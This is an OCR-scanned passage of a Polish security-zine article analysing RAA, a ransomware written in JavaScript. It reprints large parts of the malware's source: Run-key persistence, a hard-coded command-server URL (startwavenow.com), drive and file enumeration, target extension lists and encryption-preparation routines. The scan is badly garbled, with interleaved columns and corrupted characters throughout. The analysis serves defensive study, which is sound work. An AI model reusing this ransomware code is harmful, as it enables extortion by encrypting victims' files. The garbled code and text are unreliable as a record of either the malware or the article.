20. jcayrm += 1;

21. if (1CMTwIKZ[jcayrm] == bazk) {

22. AFtKLHIjDtkM = AFtKLHIjDtkM + 1;

23. } else {

24. null

25. }

26. } while (jcayrm < 1CMTwJKZ.length);

27. if (AFtKLHIjDtkM < 2 &% QCY == @) {

28. var TKVUdGUkzCmE = WScript.ScriptFullName;

29. TKVUdGUkzCmE = TKVUdGUkzCmE + " argument";

30. var qPOGRFfINeNb = WScript.CreateObject("WScript.Shell");
31. GPOGRFfINeNb.Reghrite( "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\",
32. TKVUdAGUkzCmE, "REG_SZ");

33. HXBG();

34. } else {

35. null;

36. }

37. return 0;

38. }

Odpowiedzialny za uruchamianie jest wpis w rejestrze w gatezi HKCU\Software\
Microsoft\Windows\CurrentVersion\Run\.

Na starcie, ransomware sprawdza czy w rejestrze znajduje sie juz wpis w gate-
zi HKCU\Raa-fnl\ (jest on tworzony na samym koncu ,dziatalnosci RAA”) — poprzez
prébe jego odczytu. Brak wpisu powoduje wyrzucenie wyjatku, a w jego instrukgji
catch, warto$¢ wczesniej zadeklarowanej zmiennej QCY ustawiana jest na 0. W dal-
szej czesci funkgji, QCY réwne 0 powoduje utworzenie wpisu w rejestrze urucha-
miajacego RAA, a nastepnie wywotanie funkcji HxBG().

Polaczenie ze zdalnym serwerem

izzU() to dos¢ kompleksowa funkcja, wykonujaca ,najgorszg” z punktu widze-
nia uzytkownika czes¢ kodu. Rozpoczyna swojg prace od wygenerowania identyfi-
katora GUID, ktory jest wg dokumentacji Microsoft unikalnym identyfikatorem uzy-
wanym do rozpoznania konkretnego komponentu w aplikacji.

Nastepnie, wywotywana jest funkcja get_HZtSmFNRdIM( ), ktéra inicjalizuje ta-
blice KrvABjTTXNS wartosciami zwréconymi ze zdalnego serwera. Tutaj wykorzy-
statem wnioski z innej analizy RAA, udostepnionej na blogu firmy ReaQta. Przyczy-
na byt fakt, ze — w czasie gdy przeprowadzatem wtasnga analize kodu RAA - zdalny
serwer z ktérym ransomware sie komunikowat, juz nie dziatat.

Adres serwera jest na state zakodowany w funkcji get_HztSmFNRdIM():

1. var VuSD = cVjZujcP + " - RAA";

2. var MOSKn = [];
3. MOSKn[@] = "http://startwavenow.com/cmh" + "/mars.php?id=" + VuSD;

¥» B

SEKURAK.PL / [ITENINE

Protokot WebSocket
Czym jest XPATH injection?

Google Caja i XSS-y
- czyli jak dostac trzy razy bounty
za (prawie) to samo

Analiza ransomware napisanego
100% w Javascripcie — RAA

Metody omijania mechanizmu
Content Security Policy (CSP)

Nie ufaj X-Forwarded-For

Java vs deserializacja
niezaufanych danych.
Czes¢ 1: podstawy

Java vs deserializacja
niezaufanych danych. Czes¢ 2:
mniej typowe metody ataku

Java vs deserializacja
niezaufanych danych. Czes¢ 3:
metody obrony

n PODZIEL SIE ZINEM


https://github.com/bl4de/research/blob/master/raa-ransomware-analysis/extracted/file01
https://reaqta.com/2016/06/raa-ransomware-delivering-pony/
http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=105468
https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/
https://msdn.microsoft.com/en-us/library/windows/desktop/aa373931%28v=vs.85%29.aspx
https://reaqta.com/2016/06/raa-ransomware-delivering-pony/
$$$/Dialog/Behaviors/GoToView/DefaultURL

Rafat 'blade’ Janicki

Szybkie sprawdzenie pozwolito ustali¢ IP serwera (188.40.248.65), ktéry okazat
sie czescia sieci zlokalizowanej w Niemczech, wykorzystywang przez rumunska
firme hostingowg THC Projects. Jak juz wspomniatem, w dniu w ktérym analizo-
watem ten fragment kodu, serwer nie dziatat, a domena startwavenow.com byta

zawieszona:
1. % Abuse contact for '188.40.248.64 - 188.40.248.95' is 'abuse@hetzner.de'
2.
3. inetnum: 188.40.248.64 - 188.40.248.95
4. netname: HOS-131355
5. descr: HOS-131355
6. country: DE
7. admin-c: STPS1-RIPE
8. tech-c: STPS1-RIPE
9. status: ASSIGNED PA
10. mnt-by: HOS-GUN
11. created: 2015-07-21T01:16:26Z
12. last-modified: 2015-07-21T01:16:26Z
13. source: RIPE # Filtered
14. person: SC THC Projects SRL
15. address: str complexului 3
16. address: 207206 Carcea
17. address: ROMANIA
18. phone: +40743216666
19. nic-hdl: STPS1-RIPE
20. remarks: For abuse contact abuse@thcservers.com or visit
https://www.thcservers.com
21. abuse-mailbox: abuse@thcservers.com
22. mnt-by: HOS-GUN
23. created: 2014-11-30T13:42:54Z
24. last-modified: 2014-11-30T13:42:54Z
25. source: RIPE # Filtered

Analiza ransomware napisanego 100% w Javascripcie...

Sam kod odpowiedzialny za potaczenie jest dos¢ standardowy (opis ponizej):
Tworzony jest obiekt umozliwiajacy wysytanie zadan HTTP:

var req = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
var QSJCTxMM1 = 15000;

var bFPwcaPNy = 15000;

var zarl = 15000;

var olWVonsDzH = 15000;

req.setTimeouts(QSJICTxMM1, bFPwcaPNy, zarI, olWVonsDzH);

auvThwWNERE

Nastepnie, wykonywany jest nizej przytoczony fragment kodu:

1. (...)
2. var MOSKn = [];
3. MOSKn[@] = "http://startwavenow.com/cmh” + "/mars.php?id=" + VuSD;

(...)

var pointer_MOSKn = -1;

var aka;

do {

pointer_MOSKn += 1;

if (pointer_MOSKn <= @) {

10. pointer_MOSKn = pointer_MOSKn;

11. } else {

12. pointer_MOSKn = ©;

13. WScript.Sleep(60000);

14. }

15. try {

16. req.open("GET", MOSKn[pointer_MOSKn], false);
17. req.send();

18. aka = req.responseText.split(',"');
19. } catch (e) {

20. aka = 0;

21. }

22. } while (aka == 0);

23. return aka;

OV oNO UV

Gdy przyjrzymy mu sie doktadniej, nie ma on wiekszego sensu, szczegdlnie uzycie
tablicy MOSKn i zmiennej pointer_MOSKn - tak naprawde kod wykona sie tylko raz,
gdy serwer zwroci (a wtasciwie — gdyby zwracat :) ) wartos$¢, ktora zostanie przypi-
sana do zmiennej aka.

Z informacji na blogu ReaQta wynika, ze aka zawiera dwuelementowgq tablice,
ktorej elementy zostang uzyte w pézniejszym procesie szyfrowania plikow (VKw zo-
stanie uzyty jako klucz dla operacji szyfrowania):
var KrvABjTTXNS = [];

KrvABJTTXNS = get_HZtSmFNRAIM();

var VKw = KrvABjTTXNS[O];
var jonaTnksWb = KrvABjTTXNS[1];

PwWNBR

Enumeracja folderéw i plikow
Kolejny wykonywalny fragment kodu inicjalizuje tablice kAgTDY1i i do jej pierw-
szego elementu przypisuje rezultat wykonania funkgcji kth():

1. var kAgTDYi = [];
2. kAgTDYi[@] = kth();

-

rzesledzmy zatem, co sie w niej dzieje:

1. function kth() {
2. var DmYbWSaT, s, n, e, sNaZfrOWc;
3. DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject");
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4. e = new Enumerator(DmYbWSaT.Drives);

5. s = [1;

6. RKsqOBz: for (; !e.atEnd(); e.moveNext()) {
7. sNaZfrOWc = e.item();

8. if (sNazfrOWc.IsReady) {

9. sNazZfrOWc = sNazZfroWc += "\\\\";
10. s.push(sNazfroWc);

11. } else

12. continue RKsqOBz;

13.

14. return (s);

15. }

Obiekt ActiveX o nazwie Scripting.FileSystemObject umozliwia operacje na syste-
mie plikdw, natomiast jego wtasciwos¢ Drives jest iteratorem, umozliwiajgcym prze-
chodzenie po kolejnych dyskach. kth() zwraca wiec liste wszystkich dostepnych
na zainfekowanej maszynie dyskow logicznych (C:, D: itd.).

Nastepnym fragmentem jest:

1. iKTzQKbfDJs();
2. kAgTDYi[1] = [];

Funkcja iKTzQKbfDJs() wywotuje dwie inne, krétkie funkcje OFTEm1() oraz
Y1Drgb():

1. function iKTzQKbfDIs() {

2. var mItZKEXYwE = [];

3 mItZKEXYwE = kAgTDYi[®];

4 mItZKEXYWE = OFTEml(mItZKEXYwE);

5. var rjTvWjMKnGpI = -1;

6. do {

7 rjTvWjMKnGpI += 1;

8 Y1Drgb(mItZKEXYWE[rjTvWjMKnGpI]);

9 } while (rjTvWjMKnGpI < mItZKEXYwE.length - 1);
10. return @

1

1.}

OFTEm1 () otrzymuje jako argument utworzong wczesniej liste dyskéw i zwraca ja
ponownie, usuwajac jedynie,puste” wpisy.

Nastepnie, dla kazdego dysku wywotywana jest funkcja Y1Drqgb():

1. function Y1Drgb(kth) {

2. var gg = new ActiveXObject("Scripting.FileSystemObject");
3. var dir = kth + "!!IREADME!!!" + TBucypWw + ".rtf";

4. var d2 = gg.CreateTextFile(dir, true);
5. d2.Write(VGCDtihB());

6. d2.Close();

7. return 0;

8. }

Jej zadaniem jest utworzenie na kazdym z dyskoéw, pliku o nastepujacej nazwie:
» var dir = kth +,"MREADME!!” + TBucypWw +,,.rtf”; // —> CIIREADMENIXW5Gf.rtf

Jak wida¢, uzyty w niej jest piecioznakowy klucz wygenerowany na samym poczat-
ku analizy - w pierwszej wywotywanej funkgji. Jest to jedno z wielu miejsc, w kto-
rym jest on wykorzystywany. Unikalny klucz zapisany w zmiennej TBucypWhw, ma
zapewne utrudni¢ identyfikowanie plikéw zwigzanych z RAA na zainfekowanym
systemie (gdyz jego wartosc¢ dla kazdej maszyny bedzie inna).

Zawartos$¢ kazdego z tych plikow generuje funkcja wywotywana w tej linijce:

1. d2.Write(VGCDtihB());

W funkcji VGCDtihB () generowany jest kolejny dokument w formacie RTF, zawie-
rajacy note o wysokosci,okupu’, ktory nalezy uisci¢ w celu otrzymania klucza deszy-
frujacego. Metoda generowania jest podobna do wczesniejszych - to kilka nastepu-
jacych po sobie manipulacji dtugim ciggiem znakéw w Base64:
function VGCDtihB() {

var rftkZajp = "elxydG(...)QoRAASEP";

var cUNSPAQZAE = rftKZajp.replace(/RAASEP/g, "A");

1.

2

3

4, CUNSPAQZAE = CryptoJS.enc.Base64.parse(cUNSPAQZAE);
5. CUNSPAGZAE = cUNSPAQZAE.toString(CryptoJS.enc.Utf8);
6

7

8.

9.

CUNSPAQZAE = cUNSPAQZAE.replace(/=IDHERE=/g, cVjZujcP);
. CUNSPAQZAE = cUNSPAQZAE.replace(/=ADRHERE=/g, jOnaTnksWb);
return cUNSPAQZAE;

}

Kolejny fragment kodu to funkcja, ktéra w petli,dostarcza” algorytmowi szyfrujace-
mu wszystkie pliki z listy zwrdconej z funkcji nXmsNjMpKTv ():
function PLnEyqCPKHV() {

1.

2 var sNaZfrOWc = nXmsNjMpKTv(kAgTDYi);
3. var NBMCuybDY = -1;
4
5

iFIS:do {
NBMCuybDY += 1;
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6. try { 4 var col_IMhT = new Enumerator(IMhT.Files); SEKURAK.PL / OFFLINE
7. KWgwIw0lgJcs (sNaZfrOWc[NBMCuybDY]); 5. var IMhT_list = "";
8. } catch (e) { 6. var kIsVkdBFbJ = ".doc";
9. continue iFIS; 7 var YgArYNboS = ".x1s";
10. } 8. var CCOyz] = ".rtf"; 2
11. } while (NBMCuybDY <= sNaZfrOWc.length - 2); 9.  var bAaa = ".pdf"; Protokot Web5Socket
12. return 0 10. var tOgTFO = ".dbf";
13. } 11. var NijiLSgfjX = ".jpg"; . .. .
14. PLNEyqCPKHV(); 12.  var Xhmb = ".dwg"; Czym jest XPATH injection?
13. var VwobvZiwDcyN = ".cdr";
14. var HErxpbpJud = ".psd"; ..
L s . =" ed" Google Caja i XSS-
Dzieje sie tu sporo, przesledzmy zatem wszystko po kolei. 15. var kIsVkdBFbJe = ".cd"; g'e qj Y
i ) o : ) ) . 16. var kIsVkdBFbJ1l = ".mdb"; - czyli jak dostac trzy razy bounty
Tablica o nazwie sNaZfrOWc inicjalizowana jest w wyniku wykonania funkgji 17.  var kIsVkdBFbJ2 = ".png"; ( i)t
XmsNAMBKTV ( ) 18.  var kIsVkdBFbJ3 = ".lcd"; Za (prawiejto samo
nXmsNJMpKTv (): 19.  var kIsVkdBFbJ4 = ".zip";
20. var kIsVkdBFbl5 = ".rar"; . .
1. function nXmsNjMpKTv(kAgTDYi) { 21, var kIsVkdBFbJ6 = ".locked"; Analiza ransomware napisanego
2 var EPtLPm = -1; 22. var kIsVkdBFbJ7 = "~"; 100% w Javascripcie — RAA
3. var wvguluzeM = -1; 23. var kIsVkdBFbl8 = "$";
4. do { 24, var kIsVkdBFbJ9 = "csv";
Z. EPtLEmDS=P1; LMz (KAETDYA [0] [EPELPm]) 25. for (.fc écol_IMhT.atEm(ig); coI)l_%MhT.moveNext()) { Metody omijania mechanizmu
var LeDOaP = LMz (kAgTDYi m]); 26. if (col_IMhT.item() == © : ;
7 var LeDOaP = LeDOaP.split(TBucyphw); 27. nuil; Content Secur’ty PO“CV (CSP)
8. kAgTDYi[1] = kAgTDYi[1].concat(LeDOaP); 28. } else if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ6) >= 0) {
9. kAgTDYi[1] = OFTEml(kAgTDYi[l]); 29. null; Ni i X-F ded-F
10. var aZKH = HHiAp(kAgTDYi[@][EPtLPm]); 30. } else if (String(col IMhT.item()).indexOf(kIsVkdBFbJ7) >= @) { ie ufaj X-Forwarded-For
11. var aZKH = aZKH.split(TBucyphw); 31. null;
12. kAgTDYi[@] = kAgTDYi[@].concat(azZKH); 32. } else if (String(col_IMhT.item()).indexOf(kIsVkdBFbl8) >= @) { - .
13. kAgTDYi[@] = OFTEm1(kAgTDYi[@]); 33, null; Java vs deserializacja
145. }tWhl].?kgE-llj-Bterl;; kAgTDYi[@].length - 2); 34. } else { niezaufanych danych_
. return giDY1 5 35. if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ) >= @) { 2z,
16. } 36. IMhT list += col IMhT.item(); Czesc 1: podstawy
37. IMhT_list += TBucypWw;
38. } else if (String(col_IMhT.item()).indexOf(YgArYNboS) >= @) { T .
Wywolanie: 39. IMhT_list += col IMhT.item(); qua vs deserializacja B
: 40. IMhT_list += TBucyphw; niezaufanych danych. Czes¢ 2:
. 41. } else if (String(col_IMhT.item()).indexOf(CCOyzl) >= @) { Py
1. LMz(kAgTDYi[@][EPtLPm]); 42. IMhT_list += col IMhT.item(); mniej typowe metody ataku
43, IMhT_list += TBucypWw;
44, } else if (String(col_IMhT.item()).indexOf(bAaa) >= @) { Java vs deserializacia
. . . ; . . 45, IMhT_list += col_IMhT.item(); ) .
wykonuje funkcje LMz () dla kazdego z dyskéw. LMz () zawiera dtugg liste warun- 46. IMhT list += TBuCyphw; niezaufanych danych. Czes¢ 3:
2 ; P ; . : o 47. } else if (String(col_IMhT.item()).indexOf(tOgTFO) >= @) {
kow,,lf...el%, k'tore spr'awd'zajq kazdy plik pod kqt.em dopasowania jego nazwy do a8, IMAT 1ist 4= col TMAT.item(). metody obrony
wzorca. Jesli plik pasuje — jest on dodawany do jednego, bardzo dtugiego ciagu 49. IMhT_list += TBucypWw;
, . . o 50. } else if (String(col_IMhT.item()).indexOf(NijiLSgfjX) >= @) {
znakow sktadajgcych sie z podobnych nazw plikdw, a nazwy te odseparowane sg od 51, IMhT list += col IMhT.item();
siebie znanym nam juz, piecioznakowym kluczem ,xW5Gf” zapisanym w zmiennej 52. IMhT_list += TBucyphw; .
53. } else if (String(col_IMhT.item()).indexOf(Xhmb) >= @) {
TbucypWw: 54. IMhT_list += col IMhT.item();
55. IMhT_list += TBucypWhw;
1. function LMz(TkTuwCGFLuv) { 56. } else if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ5) >= @) {
2. var WwltLWmsVwv = new ActiveXObject("Scripting.FileSystemObject"); 57. IMhT_list += col_IMhT.item();
3. var IMhT = WwltLWmsVwv.GetFolder(TkTuwCGFLuv); 58. IMhT_list += TBucypWhw;
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_ , , , _ SEKURAK.PL / PIFFEIYE
59. } else if (String(col_IMhT.item()).indexOf(kIsVkdBFbJ9) >= @) { 9. var OCSJUFRoHQVQ = "Program Files (x86)";
60. IMhT_list += col IMhT.item(); 10. var TpLTLOLP = "Windows";
61. IMhT_list += TBucypWw; 11. var oWxWruNtMZmL = "Recycle.Bin";
62. } else { 12. var mOGye = "RECYCLE.BIN";
63. null; 13. var LSTk = "Recycler"; Protokdt WebSocket
64. } 14. var RQNcs = "TEMP";
22- , } 15. var Mzorwd = "APPDATA";
: o 16. var Mzorwl = "AppData"; Czym jest XPATH injection?
67. return (IMhT_list); 17. var Mzorw2 = "Temp"; WAL J
68. } 18. var Mzorw3 = "ProgramData";
19. var Mzorw4 = "Microsoft"”; Google Caja i XSS-y
20. for (; !'dBMsgV.atEnd(); dBMsgV.moveNext()) { _ czyli jClk dostac trzy razy bounty
iani i ; i Fa nie 21. if (dBMsgV.item() == @) { )
Tylko trzy wyf,tqpl.enla w naZW|e, pliku sprawiajg, ze nie jest o.n brany pod.uwag(-; . S za (prawie) to samo
w tym procesie: ciag .locked (ktéry tworzy sam RAA w procesie szyfrowania) oraz 23. } else {
znaki~i$ 24. if (String(dBMsgV.item()).indexOf(Mzorw) >= @) { . .
: 5. null; Analiza ransomware napisanego
Z tak zapisanego ciggu znakéw, tworzona jest tablica — przy pomocy funkg;ji 26. } else if (String(dBMsgV.item()).indexOf(HWgkzDuQd) >= @) { 100% w Javascripcie - RAA
i . eparator uzyty zostaje klucz zapisany w zmiennej TBucypWw. Tabli- 27. null;
Spllt() .Jakos P yty . ) P y i ) . yp 28. } else if (String(dBMsgV.item()).indexOf(zmvQlcBlJ) >= @) {
ca ta zostaje poddana,oczyszczeniu”z pustych elementéw przez funkcje OFTEm1 (): 29. null; Metody omijania mechanizmu
30. } else if (String(dBMsgV.item()).indexOf(OCSJUFRoHQVQ) >= @) { Content Security Policy (CSP)
1. function OFTEml(array_to_clean) { 31. null;
2 var pjvsEz = new Array(); 32. } else if (String(dBMsgV.item()).indexOf(TpLTLOLP) >= @) {
3 for (var i = ©; i < array_to_clean.length; i++) { 33. null; Nie ufaj X-Forwarded-For
4. if (array_to_clean[i]) { 34, } else if (String(dBMsgV.item()).indexOf(oWxWruNtMzZmL) >= @) {
5. pjvsEz.push(array_to_clean[i]); 35. null;
6 } } 36. } else if (String(dBMsgV.item()).indexOf(mOGye) >= 0) { Java vs deseria[izacja
7 37. null; g
8 return pjvstz; 38. } else if (String(dBMsgV.item()).indexOf(LSTk) >= @) { nlez?yfanych danych.
9.} 39. null; Czes¢ 1: podstawy
40. } else if (String(dBMsgV.item()).indexOf(RQNcs) >= @) {
41. null; . . .

. . . . 42, } else if (String(dBMsgV.item()).indexOf(Mzorw@) >= @) { Java vs deserializacja
Fl’mkqa HH},.A?()‘przeprowadzz.a podobng operacje, z?le o'perUJe. na nazwalch foIcEIe a3 nulL; ‘ . . niezaufanych danych. Czes¢ 2:
row. W odrdznieniu od LMz (), lista tworzona przez nig, nie zawiera folderéw, ktére 44. } else if (String(dBMsgV.item()).index0f(Mzorwl) >= ) { mniei tvnowe metodv ataku

. , .. . . . 45. null; J typ y
maja by¢ pominiete w procesie szyfrowania (WINDOWS, RECYCLER, Program Files, 6. } else if (String(dBMsgV.item()).indexOf(Mzorw2) >= @) {
Temp, AppData i podobne, kluczowe dla dziatania systemu foldery). Ma to zapobiec 47. null; iglizaci
P PP P . . . y . 4 . _p 48. } else if (String(dBMsgV.item()).indexOf(zmvQlcBlJ) >= @) { qua vs deserializacja L.
omytkowemu zaszyfrowaniu pliku koniecznego do prawidtowego dziatania kom- 49. null; niezaufanych danych. Czes¢ 3:
putera, a tym samym jego unieruchomienie i niemoznos$¢ zadziatania catego proce- g? } elselif (String(dBMsgV.item()).index0f(OCSIUFROHQVQ) >= @) { metody obrony
. . . null;
su wymuszenia okupu za klucz deszyfrujacy: 52. } else if (String(dBMsgV.item()).indexOf(TpLTLOLP) >= @) {
53. null;
1. function HHiAp(TkTuwCGFLuv) { 54, } else if (String(dBMsgV.item()).indexOf(oWxWruNtMzZmL) >= @) {
2 var DmYbWSaT = new ActiveXObject("Scripting.FileSystemObject"); 55. null;
3. var kCcui = DmYbWSaT.GetFolder(TkTuwCGFLuv); 56. } else if (String(dBMsgV.item()).indexO0f(mOGye) >= 0) {
4, var dBMsgV = new Enumerator(kCcui.SubFolders); 57. null;
5 var kCcui_list = ""; 58. } else if (String(dBMsgV.item()).indexOf(LSTk) >= @) {
6 var Mzorw = "WINDOWS"; 59. null;
7 var HWgKzDuQd = "RECYCLER"; 60. } else if (String(dBMsgV.item()).indexOf(RQNcs) >= 0) {
8 var zmVQlcB1lJ = "Program Files";

n PODZIEL SIE ZINEM



$$$/Dialog/Behaviors/GoToView/DefaultURL

Rafat 'blade’ Janicki Analiza ransomware napisanego 100% w Javascripcie...

61. null;

62. } else if (String(dBMsgV.item()).indexO0f(Mzorw@) >= @) {
63. null;

64. } else if (String(dBMsgV.item()).indexOf(Mzorwl) >= @) {
65. null;

66. } else if (String(dBMsgV.item()).indexO0f(Mzorw2) >= @) {
67. null;

68. } else if (String(dBMsgV.item()).indexOf(Mzorw3) >= @) {
69. null;

70. } else if (String(dBMsgV.item()).indexO0f(Mzorwd) >= @) {
71. null;

72. } else {

73. kCcui_list += dBMsgV.item();

74. kCcui_list += TBucyphw;

75. }

76. }

77. }

78. return (kCcui_list);

79. }

Dygresja: to moze by¢ skuteczna metoda obrony przed RAA - jesli wszystkie pliki
beda trzymane w jednym z tych folderéw, RAA nie zaszyfruje zadnego z nich, a tym
samym nie bedzie miat za co wytudzi¢ okupu :)

Szyfrowanie
Petla w funkcji PLnEyqCPKHV () konczy caty proces, szyfrujac kazdy z plikdw:

1. var NBMCuybDY = -1;

2 iFIS:do {

3 NBMCuybDY += 1;

4 try {

5. KWgwIw01lgJcs (sNaZfrOWc [NBMCuybDY]);
6 } catch (e) {

7 continue iFIS;

8

9

}
} while (NBMCuybDY <= sNaZfrOWc.length - 2);

Zanim to jednak nastapi, inne funkcje zawarte w KWgwIw01lqgJcs () wykonuje jesz-
cze kilka operacji przed samym szyfrowaniem.

Najpierw, dwie zmienne inicjalizowane sa przez funkcje rStinsVp(), ktérej ar-
gumentem jest zwrécony z serwera klucz:

1. var HZtSmFNRdIM_data = rStinsVp(VKw);
2. var gPCIyff = rStinsVp(VKw);

Funkcja rStinsVp():

1. function rStinsVp(rand) {

2 var eqQu = [];

3 var EPtLPmand = -1;

4. do {

5. EPtLPmand += 1;

6 eqQu[EPtLPmand] = Math.floor((Math.random() * 2000) + 1);

7. if (eqQu[EPtLPmand] < 10) {

8. eqQu[EPtLPmand] = "@00" + eqQu[EPtLPmand];

9. } else if (eqQu[EPtLPmand] >= 10 && eqQu[EPtLPmand] < 100) {
10. eqQu[EPtLPmand] = "@0" + eqQu[EPtLPmand];

11. } else if (eqQu[EPtLPmand] >= 100 && eqQu[EPtLPmand] < 1000) {
12. eqQu[EPtLPmand] = "@" + eqQu[EPtLPmand];

13. } else {

14. eqQu[EPtLPmand] = eqQu[EPtLPmand];

15. }

16. } while (eqQu.length < 32);

17. var xjLCtcIO = "";

18. var EPtLPmand2 = -1;

19. var vPdyagHuFMMj = [];

20. do {

21. EPtLPmand2 += 1;

22. vPdyagHUFMMj[EPtLPmand2] = parseInt(eqQu[EPtLPmand2]);

23. xjLCtcIO = xjLCtcIO + rand.charAt(vPdyagHuFMMj[EPtLPmand2]);
24, } while (xjLCtcIO.length < 32);

25. var gieJISwveNlD = [];

26. gieJISwveN1D[O] = eqQu;

27. gieJISwveN1D[1] = xjLCtcIO;

28. return gieJISwveNl1D;

29. }

zwraca dwuelementowa tablice, ktéra zawiera nastepujace elementy: 32-elemento-
wa tablice czterocyfrowych, losowych liczb oraz drugi element, ktérym jest wybra-
ny (losowo) z VKw 32-znakowy cigg znakéw. Jako, ze zawartos¢ VKw pozostata dla
mnie nieznana, z powodu nie dziatajagcego serwera, z ktorym taczyt sie RAA, uzytem
innego, losowo wybranego ciggu znakéw i uruchomitem rStinsVp (), podajac ten
ciag jako argument, zamiast VKw.

Przyktadowy rezultat wykonania:

1. console.log(rStinsVp("c2378574f4fad4ad353d1ab7e2961fd88"));
2. [ [ 'e981’,

3 '0829',

4 '9272',

5. '9715",

6. '0045 ",

7 '9193',

8 'e881',

9, 1361,

10. 1517,

¥» B

SEKURAK.PL / [ITENINE

Protokot WebSocket
Czym jest XPATH injection?

Google Caja i XSS-y
- czyli jak dostac trzy razy bounty
za (prawie) to samo

Analiza ransomware napisanego
100% w Javascripcie — RAA

Metody omijania mechanizmu
Content Security Policy (CSP)

Nie ufaj X-Forwarded-For

Java vs deserializacja
niezaufanych danych.
Czes¢ 1: podstawy

Java vs deserializacja
niezaufanych danych. Czes¢ 2:
mniej typowe metody ataku

Java vs deserializacja
niezaufanych danych. Czes¢ 3:
metody obrony

n PODZIEL SIE ZINEM



$$$/Dialog/Behaviors/GoToView/DefaultURL

¥» B

Rafat 'blade’ Janicki Analiza ransomware napisanego 100% w Javascripcie...

SEKURAK.PL / [FFNINE
11. '@957", 27. } else { /
12. '0546", 28. hXpHGpZ = @;
13. '0621", 29. S1SPWu.Close;
14. '0932", 30. jMvqmKSQu (hXpHGpZ) ;
15. 1659, 31. } <
16. 1102, 32, return 0 Protokot WebSocket
17. 1861, 33. }
18. '9339', 34. udpIHxNm(IMhTname); p . . .
19. 1688, Czym jest XPATH injection?
20. '0941",
21. '9756" .
’ . . o . . Google Caja i XSS-
22, 1727, W pierwszej kolejnosci, tworzony jest obiekt ADODB.Stream, wykorzystywany do gie ~dj e
23. '9257", . . ) , . i g o - czyli jak dostac trzy razy bounty
24. '0565", manipulacji plikami w podobny sposob, w jaki odbywato sie to juz wczesniej w ko- za (prawie) to samo
52‘ ?ggii. dzie ransomware. Nastepnie, do obiektu wczytywana jest zawarto$¢ aktualnie ,obra-
27. '9333", bianego” pliku (pamietajmy, ze cata operacja odbywa sie w petli — indywidualnie dla Analiza ransomware napisanego
28. '9269" . o . o
2. 1095, kazdego przeznaczonego do zaszyfrowania pliku) oraz sprawdzany jest rozmiar pliku. 100% w Javascripcie - RAA
g‘z- 1;221 W zaleznosci od jego wielkosci, podejmowane s3 rézne kroki:
32. '0514", » jeslirozmiar pliku zawiera si¢ w przedziale od 6122 bajtéw do 4,76 MB (doktadnie Metody omijania mechanizmu
3. 10939 1, . 4882 kB) - wowczas tworzona jest tablica hXpHGpZ, nastepnie w tablicy tej zapi- Content Security Policy (CSP)
34. ccceececeeccececceccecccceccceccccccccccccccc ]
sane zostajg fragmenty pliku podzielonego na losowej wielkosci czesci. W dalszej
kolejnosci, tablica z fragmentami pliku przesytana jest do funkcji MvgmKSQu( ), Nie ufaj X-Forwarded-For
Nastepnym krokiem po inicjalizacji tych dwdch zmiennych, jest funkcja udpIHXN(): » jesli plik jest wiekszy niz 4,76 MB, ale mniejszy niz 476 MB - wywotywana jest
funkci z plikiem iako araumentem Java vs deserializacja
1. function udpIHxNm(IMhTname) { .u, . e qu(). p' © J.a .oa 94 ’e‘ rem . . . . niezaufanych danych
2 var SISPWu = WScript.CreateObject("ADODB.Stream"); » jeslirozmiar pliku jest mniejszy lub réozny 6122 bajtom - jest on uzyty bezposred- Coolt T: podst ‘
3. S1SPWu.CharSet = '437'; o L zesc 1: podstawy
. S1SPWu.Open(); nio jako argument dla funkcji jMvgmKSQu ().
5 S1SPWu.LoadFromFile(IMhTname); Lo .
6 var hXpHGpZ = []; . . ) - . . Java vs deserializacja
7 hXpHGpz[@] = []; Pliki o rozmiarze wiekszym niz 476 MB, nie sg brane pod uwage w procesie szyfro- niezaufanych danych. Czes¢ 2:
8. hXpHGpZ[1] = []; . . . .. c . . . .. - C 0
5 var PRUIZyAvfeza = SISPHU.Size; wania; przyjrzyjmy sie jeszcze, co jakie operacje wykonuja funkcje jMvgmKSQu() mniej typowe metody ataku
10. if (PRuJZyAvfeza > 6122 && PRuJZyAvfeza < 5000000) { orazqqJ().
11. var GinRqOjln = 0QlYdejWlC (2000, 2040); .. .
12. hXpHGpZ[@][@] = S1SPWu.ReadText(GinRq0jln) + "RAA-SEP"; 1. function jMvgmksQu(hXpHGpZ) { Java vs deserializacja
13. var kWsAN = Math.floor(PRuJZyAvfeza / 2) - 3060; } 2 if (hXpHGpz[1].length != @) { niezaufanych danych, Cze§63:
14. hXpHGpzZ[1][@] = SlSPWu.ReadText(kl{dsAN) + RAA:SEP 5o 3. var DftonCbPCyQR = hXpHGpZ[@].join(""); raaat ol
15. hXpHGpZ[@][1] = S1SPWu.ReadText(GinRq0jln) + "RAA-SEP"; 4. DFftonCbPCyQR = ukBnxEOtjm(DFtonCbPCyQR); y y
16. var iPZDBPG = PRuJZyAvfeza - (S1SPWu.Position + GinRqOjln); 5 DftonCbPCyQR = DftonCbPCyQR + "=END=OF=HEADER="};
17. hXpHGpZ[1][1] = S1SPWu.ReadText(iPZDBPG) + "RAA-SEP"; 6. DftonCbPCyQR = DftonCbPCyQR + hXpHGpz[1].join("")
18. hXpHGpZ[@][2] = S1SPWu.ReadText(GinRq0jln) + "RAA-SEP"; + "IDNUM=" + cVjZujcP + "KEY_LOGIC=" + HZtSmFNRdIM_data[0]
19. S1SPWu.Close; + "IV_LOGIC=" + gPCIyff[@] + "LOGIC_ ID=1";
20. jMvgmKsQu (hXpHGpZ) ; 7. omaDplUyHou (DftonCbPCyQR) ;
21. } else if (PRuJZyAvfeza > 5000000 && PRulJZyAvfeza <= 500000000) { 8. } else if (hXpHGpz == 0) {
22. qq3 (IMhTname) 9. var DftonCbPCyQR = ©;
23. } else if (PRuJZyAvfeza <= 6122) { 10. omaDplUyHou (DftonCbPCyQR);
24. hXpHGpZ[0][@] = S1SPWu.ReadText; 11. } else {
25. S1SPWu.Close; 12. var DftonCbPCyQR = hXpHGpz[e][e];
26. jMvamKSQu (hXpHGpZ) ;
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13. DftonCbPCYQR = ukBnxEOtjm(DftonCbPCyQR); Funkcja, ktéra odpowiada za szyfrowanie wiekszych plikéw (pomiedzy 4,76 /
